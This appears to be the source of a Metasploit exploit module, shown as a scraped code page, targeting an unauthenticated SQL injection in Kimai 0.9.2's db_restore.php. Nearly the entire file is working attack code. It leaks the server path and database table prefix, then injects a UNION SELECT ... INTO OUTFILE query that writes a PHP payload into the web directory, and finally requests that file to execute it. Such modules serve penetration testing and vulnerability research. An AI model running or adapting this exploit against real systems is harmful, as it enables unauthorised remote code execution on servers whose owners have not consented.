Path: blob/master/modules/exploits/unix/webapp/kimai_sqli.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",16'Description' => %q{17This module exploits a SQL injection vulnerability in Kimai version180.9.2.x. The 'db_restore.php' file allows unauthenticated users to19execute arbitrary SQL queries. This module writes a PHP payload to20disk if the following conditions are met: The PHP configuration must21have 'display_errors' enabled, Kimai must be configured to use a22MySQL database running on localhost; and the MySQL user must have23write permission to the Kimai 'temporary' directory.24},25'License' => MSF_LICENSE,26'Author' => [27'drone', # Discovery and PoC28'bcoles' # Metasploit module29],30'References' => [31['EDB', '25606'],32['OSVDB', '93547'],33],34'Payload' => {35'Space' => 8000, # HTTP POST36'DisableNops' => true,37'BadChars' => "\x00\x0a\x0d\x27"38},39'Arch' => ARCH_PHP,40'Platform' => 'php',41'Targets' => [42# Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-343[ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]44],45'Privileged' => false,46'DisclosureDate' => '2013-05-21',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']),59OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),60OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])61]62)63end6465#66# Checks if target is Kimai version 0.9.2.x67#68def check69vprint_status("Checking version...")70res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })71if not res72vprint_error("Request timed out")73return Exploit::CheckCode::Unknown74elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/75version = "#{$1}"76print_good("Found version: #{version}")77if version >= "0.9.2" and version <= "0.9.2.1306"78return Exploit::CheckCode::Appears79end80end81return Exploit::CheckCode::Safe82end8384def exploit85# Get file system path86print_status("Retrieving file system path...")87res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })88if not res89fail_with(Failure::Unknown, "#{peer} - Request timed out")90elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/91path = "#{$1}"92print_good("Found file system path: #{path}")93else94path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)95print_warning("Could not retrieve file system path. Assuming '#{path}'")96end9798# Get MySQL table name prefix from temporary/logfile.txt99print_status("Retrieving MySQL table name prefix...")100res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })101if not res102fail_with(Failure::Unknown, "#{peer} - Request timed out")103elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)104table_prefix = "#{prefixes.flatten.last}"105print_good("Found table name prefix: #{table_prefix}")106else107table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)108print_warning("Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")109end110111# Create a backup ID112print_status("Creating a backup to get a valid backup ID...")113res = send_request_cgi({114'method' => 'POST',115'uri' => normalize_uri(target_uri.path, 'db_restore.php'),116'vars_post' => {117'submit' => 'create backup'118}119})120if not res121fail_with(Failure::Unknown, "#{peer} - Request timed out")122elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)123id = "#{backup_ids.flatten.last}"124print_good("Found backup ID: #{id}")125else126fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")127end128129# Write PHP payload to disk using MySQL injection 'into outfile'130fname = "#{rand_text_alphanumeric(rand(10) + 10)}.php"131sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "132print_status("Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")133res = send_request_cgi({134'method' => 'POST',135'uri' => normalize_uri(target_uri.path, 'db_restore.php'),136'vars_post' => Hash[{137'submit' => 'recover',138'dates[]' => sqli139}.to_a.shuffle]140})141if not res142fail_with(Failure::Unknown, "#{peer} - Request timed out")143elsif res.code == 200144print_good("Payload sent successfully")145register_files_for_cleanup(fname)146else147print_error("Sending payload failed. Received HTTP code: #{res.code}")148end149150# Remove the backup151print_status("Removing the backup...")152res = send_request_cgi({153'method' => 'POST',154'uri' => normalize_uri(target_uri.path, 'db_restore.php'),155'vars_post' => Hash[{156'submit' => 'delete',157'dates[]' => "#{id}"158}.to_a.shuffle]159})160if not res161print_warning("Request timed out")162elsif res.code == 302 and res.body !~ /#{id}/163vprint_good("Deleted backup with ID '#{id}'")164else165print_warning("Could not remove backup with ID '#{id}'")166end167168# Execute payload169print_status("Retrieving file '#{fname}'...")170res = send_request_raw({171'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")172}, 5)173end174end175176177